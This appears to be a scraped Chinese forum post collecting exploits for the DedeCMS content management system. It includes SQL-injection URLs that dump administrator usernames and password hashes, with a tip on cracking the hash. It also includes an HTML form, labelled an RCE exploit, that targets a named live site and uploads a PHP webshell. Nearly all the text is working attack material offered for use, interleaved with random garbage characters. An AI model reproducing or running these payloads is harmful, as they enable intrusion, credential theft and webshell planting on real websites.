. B& J0 b) `- @+ I; z . o9 x, g' I! w, E) c# l, ^- [" {9 Z5 Y* F: x! {& K
2 K4 H5 l; O' r8 u% z- E8 s/ k/ k# G( Z7 k! K) D1 S
4 Q9 `# b' G c& y; Q+ e 5 L( F- Z3 ?2 J* ~ V , L+ S; l5 e6 e 2 Z7 c3 b* ^7 J4 rDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 ; I# g* d8 Z w5 y: v
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`- n2 I% B2 n9 y7 [
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD52 _/ n; {( g3 j9 Z Y g3 A: F
4 h* D& i6 Q, w; F' L3 }* m. w
2 A9 b z5 a- R) M! Q5 ^0 X
4 g8 [4 r& V% J, {0 [5 Q% K' w8 ?/ p1 [$ M8 X$ }: m- f
$ p( z0 k# P+ J1 |0 h
, C3 n1 i J" P: W4 x9 }
( ?4 a" @; J7 v# H% s
7 J G F/ e9 m# ]: S% q/ r% o6 o4 m' S0 X+ C/ J' t
% l9 i0 C2 F, l8 U, R织梦(Dedecms) 5.1 feedback_js.php 注入漏洞; v; v5 V1 o* L2 [+ ?
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=' * C! Q; p( D% c9 D. I9 f9 `( B+ M g2 w* n, S: h
9 H! O. h( @* j4 J0 W/ T5 e
# `( e. `7 o6 _ 8 W) B; z+ c2 `2 d: ?4 e0 n. _ " o8 D+ @& ^# ^! k 4 m5 Q* n D% F7 W/ l" L7 r4 v8 V8 i# M. i# m0 J+ g' J3 X
; z7 M! ?0 {. v1 f6 b
B1 ?; p- Y* X1 \9 X$ A6 x! b4 l: R% [8 a6 J1 o
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞1 M- w ] T" ~4 w
<html> 0 H5 q; U8 ?2 T2 d. Z6 x<head>' C! s( }+ h; W( l
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title> / ?" J! A+ F/ k8 ?: R- I% k</head> ( p' \ O# w& l0 l" H<body style="FONT-SIZE: 9pt"> + W% H& s4 `* v% h* H4 c! s---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br /> 5 @! a* q* B8 a<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>( e$ I3 W! Z& P/ v( Z7 F7 v! `
<input type='hidden' name='activepath' value='/data/cache/' />* L% I$ J& _- j
<input type='hidden' name='cfg_basedir' value='../../' /> : t$ e0 f: S/ G6 u, s<input type='hidden' name='cfg_imgtype' value='php' />& a! u; n# s5 O8 D6 o5 j) b9 Z
<input type='hidden' name='cfg_not_allowall' value='txt' /> 2 x9 S' G0 J g2 G<input type='hidden' name='cfg_softtype' value='php' />) t# s# F! C+ w. |
<input type='hidden' name='cfg_mediatype' value='php' /> + H" P& q, C. w& `+ k M<input type='hidden' name='f' value='form1.enclosure' />3 [# x( i- ?0 d
<input type='hidden' name='job' value='upload' /> ! ]* u ^* T) b9 L% u1 ~; k1 g<input type='hidden' name='newname' value='fly.php' />$ m1 J! S9 n$ Y8 a2 F: n4 Z) {4 d
Select U Shell <input type='file' name='uploadfile' size='25' />! b: I4 ]/ [6 T
<input type='submit' name='sb1' value='确定' />" Y3 K3 `- r* V! ]: D- O; c
</form> 7 C( }! W5 b' Q4 P6 Q4 x<br />It's just a exp for the bug of Dedecms V55...<br />- D, v! W' @, o; C O
Need register_globals = on...<br /> # ?/ ?" M4 d/ v$ N# N0 NFun the game,get a webshell at /data/cache/fly.php...<br /> % m, x' l: r' N0 }+ c</body>& C( G) C0 f' R& c' y( c* `
</html>0 B6 G7 y: ]& k3 U0 p- n/ \
+ i4 k2 T: ^) ]
! O/ O' s6 V+ c6 @ ! R& Z3 b1 ~' E$ s* f 0 E. t% h N$ E) a' R7 v, L , T; b* h- g. U . l( G& f/ a% K7 p. s6 a% l0 r: ^3 N2 b# }
- _7 W/ M& h: p/ ^; D( E( E1 Y
/ r1 f8 i# u3 e+ |0 f' u& P7 u